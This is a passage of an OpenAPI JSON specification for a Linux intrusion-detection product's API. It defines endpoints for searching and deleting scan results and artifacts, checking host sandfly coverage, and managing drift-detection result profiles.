results.","operationId":"getResults","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResultsSearch"}}},"description":"Results search parameters.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"required":["data"],"properties":{"data":{"oneOf":[{"$ref":"#/components/schemas/Results"},{"$ref":"#/components/schemas/ResultSummaries"}]}},"type":"object"}}},"description":"Status of results found"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No results found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get results","tags":["Results"]}},"/results/getMaxID":{"get":{"summary":"Get max result ID","description":"Gets the highest sequence_id currently present in the results table that is safe for replication (no results IDs will ever appear in the future lower than this ID).","tags":["Results"],"operationId":"getMaxID","responses":{"200":{"content":{"application/json":{"schema":{"type":"integer","format":"int64","description":"The maximum result sequence_id."}}},"description":"Maximum \"safe\" result sequence_id."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/results/timeline":{"post":{"summary":"Result timeline","description":"Get results timelines for hosts.","tags":["Results"],"operationId":"getResultsTimeline","requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["filter"],"properties":{"filter":{"description":"Result search filter.","type":"object","required":["items","logicOperator"],"properties":{"items":{"$ref":"#/components/schemas/ResultSearchFilterItem"},"logicOperator":{"$ref":"#/components/schemas/ResultSearchFilterOperator"},"quickFilterValues":{"type":"array","items":{"type":"string"}}}}}}}},"description":"Result search parameters.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","required":["data"],"properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/HostResultTimeline"}}}}}},"description":"Timeline of results by host matching the filter."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/results/all":{"delete":{"description":"Deletes all results.","operationId":"deleteAllResults","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Status of delete"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No results found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete all results","tags":["Results"]}},"/results/{result_id}":{"delete":{"description":"Deletes a result by result ID.","operationId":"deleteResult","parameters":[{"description":"result_id delete.","in":"path","name":"result_id","required":true,"schema":{"oneOf":[{"title":"id","format":"string","type":"string"},{"title":"sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete result","tags":["Results"]},"get":{"description":"Gets a result by result ID.","operationId":"getResult","parameters":[{"description":"result_id to retrieve.","in":"path","name":"result_id","required":true,"schema":{"oneOf":[{"title":"id","format":"string","type":"string"},{"title":"sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Result"}}},"description":"Result information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get result","tags":["Results"]}},"/resultdetail/{id}":{"get":{"description":"Gets a result by ID along with additional mutable status data, including the response action log for this result.","operationId":"getResultDetail","parameters":[{"description":"Numeric result ID to retrieve.","in":"path","name":"id","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResultDetail"}}},"description":"Result detail retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get result detail","tags":["Results"]}},"/artifacts":{"post":{"description":"Search the aggregated artifact list: one entry per scanned artifact (process, file, user, ...) regardless of how many sandflies matched it, with the list of matching sandfly names denormalized onto each entry. The per-(sandfly, artifact) view of the same data remains available at POST /results.\n\nSet `host_counts` to have each entry report how many hosts share the artifact; that form is limited to pages of 200 artifacts and its counts are capped per hash.","operationId":"searchArtifacts","requestBody":{"content":{"application/json":{"schema":{"type":"object","properties":{"filter":{"type":"object","description":"Filter in the same shape as the result search filter. See `ArtifactSearchFilterItemField` for the fields this endpoint exposes.","properties":{"items":{"$ref":"#/components/schemas/ArtifactSearchFilterItem"},"logicOperator":{"$ref":"#/components/schemas/ResultSearchFilterOperator"},"quickFilterValues":{"description":"Free-text terms matched case-insensitively against the columns that identify an artifact: exactly against id, external_id, host_id and the three base match hashes, and as a substring against status, hostname, node_name, ip_addr, host tags, key_data, engine, key_type and the matched sandfly names. This cannot use an index, so pre-filter with `items` where possible.","type":"array","items":{"type":"string"}},"quickFilterLogicOperator":{"type":"string","enum":["and","or"]},"sort":{"description":"Sort criteria. Any field in `ArtifactSearchFilterItemField` may be used except the sandfly membership tests, which are not columns. A tiebreak on artifact id is appended so paging is stable. Defaults to last_seen descending.","type":"array","items":{"type":"object","required":["field","sort"],"properties":{"field":{"type":"string"},"sort":{"type":"string","enum":["asc","desc"]}}}}}},"size":{"type":"integer","description":"Maximum entries per page (default 100, max 10000)."},"page":{"type":"integer","description":"1-based page number."},"host_counts":{"type":"boolean","description":"Include `host_counts` on every artifact returned: how many hosts share it, by each match hash. Opt-in because it is the one part of the search whose cost grows with how widespread the artifacts are, and capped per hash so a widespread artifact reports a floor rather than an exact number (see ArtifactHostCounts). Only available for pages of up to 200 artifacts; a larger `size` with this set is rejected. The artifact detail endpoint always reports these counts, and without a cap."}}}}},"required":false},"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/Artifact"}},"more_results":{"type":"boolean"}}}}},"description":"Artifacts retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid filter."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Search artifacts","tags":["Results"]},"delete":{"description":"Deletes artifacts in bulk, each with all of its per-sandfly results. Artifacts are selected by a filter, by a time, or by an explicit list of IDs; exactly one of the three may be used.\n\nThis deletes whole artifacts: an artifact selected because one of the sandflies that matched it satisfies the filter is removed along with the rest of its per-sandfly results. Use DELETE /results when the intent is to remove one sandfly's finding and leave the artifact in place for the others.\n\nA filter or time_since delete runs in the background and returns as soon as the filter is known to be valid, so a 200 means the deletion was scheduled, not that it has finished. Deleting by artifact_ids is synchronous and reports how many of the requested artifacts existed.\n\nA filter with no items deletes every artifact. A filter whose conditions all have empty values narrows nothing, so it is rejected with a 400 rather than treated as a request to delete everything.","operationId":"deleteArtifacts","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ArtifactsDelete"}}},"description":"Artifact delete parameters.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Artifacts deleted, or scheduled for deletion"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid filter, or not exactly one selection criterion"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete artifacts","tags":["Results"]}},"/artifacts/{artifact_id}":{"get":{"description":"Gets one artifact by ID.","operationId":"getArtifact","parameters":[{"description":"Numeric artifact ID to retrieve.","in":"path","name":"artifact_id","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ArtifactDetailResponse"}}},"description":"Artifact retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Artifact not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get artifact detail","tags":["Results"]},"delete":{"description":"Deletes one artifact and all of its per-sandfly results. The delete is idempotent: an artifact ID that does not exist (or was already deleted) returns 200 rather than 404, matching DELETE /results/{result_id}.","operationId":"deleteArtifact","parameters":[{"description":"Numeric artifact ID to delete.","in":"path","name":"artifact_id","required":true,"schema":{"type":"integer","format":"int64"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Artifact deleted"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete artifact","tags":["Results"]}},"/hosts/{host_id}/sandfliesrun":{"get":{"description":"Returns the sandfly scan coverage audit for a host: every sandfly that has run against it, with first/last run times, run count, and the most recent outcome. This replaces stored per-sandfly \"pass\" results as the record that a sandfly ran clean on a host.","operationId":"getHostSandflyRuns","parameters":[{"description":"Host ID to retrieve sandfly run coverage for.","in":"path","name":"host_id","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/HostSandflyRun"}}}}}},"description":"Sandfly run coverage retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get host sandfly run coverage","tags":["Hosts"]}},"/results/delete/hostsandflies":{"post":{"summary":"Delete sandfly results for host","description":"Delete all results for a sandfly list on a single host.","tags":["Results"],"operationId":"deleteHostSandflyResults","requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["host_id","sandflies"],"properties":{"host_id":{"type":"string","description":"The host from which to delete the results."},"sandflies":{"type":"array","items":{"type":"string"},"description":"The sandfly names to delete the results for."}}}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Status of delete"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/results/delete/sandflyhosts":{"post":{"summary":"Delete host results for sandfly","description":"Delete all results for a host list on a single sandfly.","tags":["Results"],"operationId":"deleteSandflyHostResults","requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["host_ids","sandfly"],"properties":{"sandfly":{"type":"string","description":"The sandfly from which to delete the results."},"host_ids":{"type":"array","items":{"type":"string"},"description":"The host IDs to delete the results for."}}}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Status of delete"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles":{"get":{"summary":"Get result profiles","description":"Get summary list of all result profiles.","operationId":"getProfiles","responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/TotalledResponse"}],"type":"object","properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/ProfileSummary"}}}}}},"description":"Result profile information retrieved"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]},"post":{"summary":"Create new result profile","description":"Create new result profile. One or more host IDs, result IDs, and/or artifact IDs must be included in the request, which will add the associated eligible results to the result profile.","operationId":"createProfile","deprecated":true,"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfileCreateRequest"}}},"required":true},"responses":{"201":{"content":{"application/json":{"schema":{"type":"integer","description":"The ID of the new result profile."}}},"description":"Result profile created"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"There were no eligible results on the requested host(s), result ID(s), and/or artifact ID(s)."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]}},"/resultprofiles/autodrift":{"post":{"summary":"Create auto-drift profile","description":"Create a new result profile that will automatically gather results from a set of model hosts for a period of time before applying them as a drift (and optionally whitelist) profile on a set of covered hosts.","operationId":"createProfileAutoDrift","tags":["Drift Detection","Result Profiles"],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AutoDriftCreateRequest"}}}},"responses":{"201":{"content":{"application/json":{"schema":{"type":"integer","description":"The ID of the new auto-drift result profile."}}},"description":"Auto-drift profile created"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/autodrift/{id}":{"put":{"summary":"Edit autodrift profile","description":"Edit an autodrift profile. Optionally edit different parts of the profile by setting the objects non-null; null objects (or keys left out) indicate that that portion of the profile will not be modified.","operationId":"editAutoDriftProfile","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to edit.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AutoDriftEditRequest"}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Auto-drift profile successfully updated"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request body."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Autodrift profile not found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/autodrift/{id}/gather":{"delete":{"summary":"Remove gather configuration","description":"Remove gather configuration from an autodrift profile.","operationId":"deleteAutoDriftGather","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to edit.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Gather configuration removed."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/autodrift/{id}/enforce":{"put":{"summary":"Switch to enforce mode","description":"Immediately transition an autodrift profile to enforce mode.","operationId":"enforceAutoDriftProfile","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to change to enforce mode.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Profile switched to enforce mode."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile is not an autodrift profile."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/autodrift/{id}/restartgather":{"put":{"summary":"Restart gather period","description":"Restart/re-enter gather period on an autodrift profile.","operationId":"restartAutoDriftGather","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to restart gather on.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Gather configuration entered/restarted."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile is not an autodrift profile, or does not have a gather configuration defined, or there are no more model hosts on the profile."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/autodrift/{id}/schedule":{"delete":{"summary":"Remove schedule configuration","description":"Remove scan schedule configuration from an autodrift profile.","operationId":"deleteAutoDriftSchedule","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to edit.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Scan schedule configuration removed."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/autodrifttemplates":{"get":{"summary":"Get auto-drift templates","description":"Get recommended auto-drift result profile templates for various use cases.","operationId":"getAutoDriftTemplates","tags":["Drift Detection","Result Profiles"],"responses":{"200":{"content":{"application/json":{"schema":{"type":"array","items":{"$ref":"#/components/schemas/ProfileAutoDriftTemplate"}}}},"description":"Result profile details retrieved."}}}},"/resultprofiles/{id}":{"get":{"summary":"Get a result profile","description":"Get details of a result profile by ID.","operationId":"getProfile","parameters":[{"description":"Result profile ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Profile"}}},"description":"Result profile details retrieved."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]},"put":{"summary":"Update result profile","description":"Update the details and associations of a result profile. This replaces all existing associations on the result profile.","operationId":"updateProfile","deprecated":true,"parameters":[{"description":"Result profile ID to update.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfileUpdateRequest"}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile details successfully updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid result profile request (including malformed JSON, invalid modes, associated host IDs not found, etc.)."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]},"delete":{"summary":"Delete a result profile","description":"Delete a single result profile by ID.","operationId":"deleteProfile","parameters":[{"description":"Result profile ID to delete.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid delete request (e.g. non-integer ID in request)."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Profile not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]}},"/resultprofiles/{id}/append":{"post":{"summary":"Append results to result profile","operationId":"appendProfile","description":"Append additional results from model host(s), result IDs, and/or artifact IDs to an existing result profile.","parameters":[{"description":"Result profile ID to append results to.","in":"path","name":"id","required":true,"schema":{"type":"integer"}},{"description":"Enable safe mode - only add drift results for sandflies that are already enabled for drift in the result profile.","in":"query","name":"safemode","required":false,"schema":{"type":"boolean"}}],"requestBody":{"content":{"application/json":{"schema":{"description":"Host ID(s), result ID(s), and/or artifact ID(s) to snapshot and append to the result profile.","allOf":[{"$ref":"#/components/schemas/ProfileAppendRequest"}]}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid result profile append request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No eligible results were found on the Host ID(s), result ID(s), and/or artifact ID(s)."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]}},"/resultprofiles/{id}/autoappend":{"post":{"summary":"Automatically append results to an autodrift profile","operationId":"autoappendProfile","description":"Append all current results from the previously configured model hosts to an existing auto-drift profile.","parameters":[{"description":"Result profile ID to append results to. Must be a profile for which autodrift=true.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AutoDriftAutoAppendRequest"}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid result profile append request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile ID not found."},"409":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The autodrift profile no longer has any model hosts in the system."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]}},"/resultprofiles/{id}/sandfly/{sandfly}":{"get":{"summary":"Get result profile sandfly results","description":"Get a list of results that are part of a result profile for a given sandfly.","operationId":"getProfileSandfly","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}},{"description":"Sandfly name to get.","in":"path","name":"sandfly","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfileSandflyResults"}}},"description":"Result profile details retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad request -- profile ID or sandfly name format invalid"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found or sandfly not found in profile."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}},"delete":{"summary":"Delete a sandfly from a result profile","description":"Delete all of the results for a sandfly on a result profile, removing enforcement of drift/whitelisting for the sandfly from the profile.","operationId":"deleteProfileSandfly","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to delete from.","in":"path","name":"id","required":true,"schema":{"type":"integer"}},{"description":"Sandfly name to delete from profile.","in":"path","name":"sandfly","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandfly deleted from profile."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Profile or sandfly on profile not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/{id}/deletesandflies":{"post":{"summary":"Bulk delete sandflies from profile","description":"Bulk delete sandflies from a result profile.","operationId":"bulkDeleteProfileSandflies","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to delete from.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"description":"Sandfly names to delete from profile.","type":"object","required":["sandflies"],"properties":{"sandflies":{"type":"array","items":{"type":"string","description":"Sandfly name to delete."}}}}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandfly deleted from profile."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/{id}/sandfly/{sandfly}/{hash}":{"delete":{"summary":"Delete result hash from result profile.","description":"Delete a specific result hash from a sandfly on a result profile.","operationId":"deleteProfileResult","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to delete from.","in":"path","name":"id","required":true,"schema":{"type":"integer"}},{"description":"Sandfly name to delete result from.","in":"path","name":"sandfly","required":true,"schema":{"type":"string"}},{"description":"Result hash to delete. May be a blank string, indicating a drift entry for 'no results' on the sandfly.","in":"path","name":"hash","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result(s) deleted from profile."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bad request -- sandfly name format invalid or hash format invalid"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/{id}/sandfly/{sandfly}/deleteresults":{"post":{"summary":"Bulk delete results from profile","description":"Bulk delete results from a sandfly on a result profile.","operationId":"bulkDeleteProfileResults","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to delete from.","in":"path","name":"id","required":true,"schema":{"type":"integer"}},{"description":"Sandfly name to delete results from.","in":"path","name":"sandfly","required":true,"schema":{"type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"description":"Result hashes to delete from sandfly on profile.","type":"object","required":["hashes"],"properties":{"hashes":{"type":"array","items":{"type":"string","description":"Hash (or empty string, in the case of 'no results' drift results) to delete."}}}}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Results deleted from profile."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/host/{host_id}":{"get":{"summary":"Get result profiles for host","description":"Get summary of all result profiles that apply to this host ID.","operationId":"getProfilesForHost","parameters":[{"description":"Host to retrieve. Accepts a host_id or host_sequence_id.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","properties":{"data":{"description":"List of result profiles.","type":"array","items":{"$ref":"#/components/schemas/ProfileForHost"}},"total":{"description":"Total number of result profiles.","type":"integer"}},"required":["data","total"]}}},"description":"Result profile list retrieved."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]}},"/resultprofiles/export":{"post":{"operationId":"exportProfiles","description":"Export selected result profiles for backup or to move to another system.","summary":"Export result profiles","tags":["Drift Detection","Result Profiles"],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfilesIDList"}}},"description":"Result profile IDs to export.","required":true},"responses":{"200":{"description":"Exported data","content":{"application/json":{"schema":{"type":"object"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/resultprofiles/import":{"post":{"operationId":"importProfiles","description":"Import selected result profiles from backup.","summary":"Import result profiles","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"If true, deletes old tag and host associations when replacing an existing result profile before importing the associations saved in the backup that is being imported. Otherwise, merge the associations currently on the server with those in the backup being uploaded. Default value is false.","in":"query","name":"replaceAssociations","required":false,"schema":{"type":"boolean"}}],"requestBody":{"content":{"application/json":{"schema":{"type":"object"}}}},"responses":{"200":{"description":"Profiles imported","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/resultprofiles/pause/":{"put":{"summary":"Bulk pause result profiles","operationId":"bulkPauseProfiles","description":"Pause result profiles in bulk, preventing them from creating drift alerts or whitelisting incoming results.","tags":["Drift Detection","Result Profiles"],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfilesIDList"}}},"description":"List of result profile IDs to pause.","required":true},"responses":{"200":{"content":{},"description":"Result profiles paused."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/unpause/":{"put":{"summary":"Bulk unpause result profiles","operationId":"bulkunPauseProfiles","description":"Unpause result profiles in bulk.","tags":["Drift Detection","Result 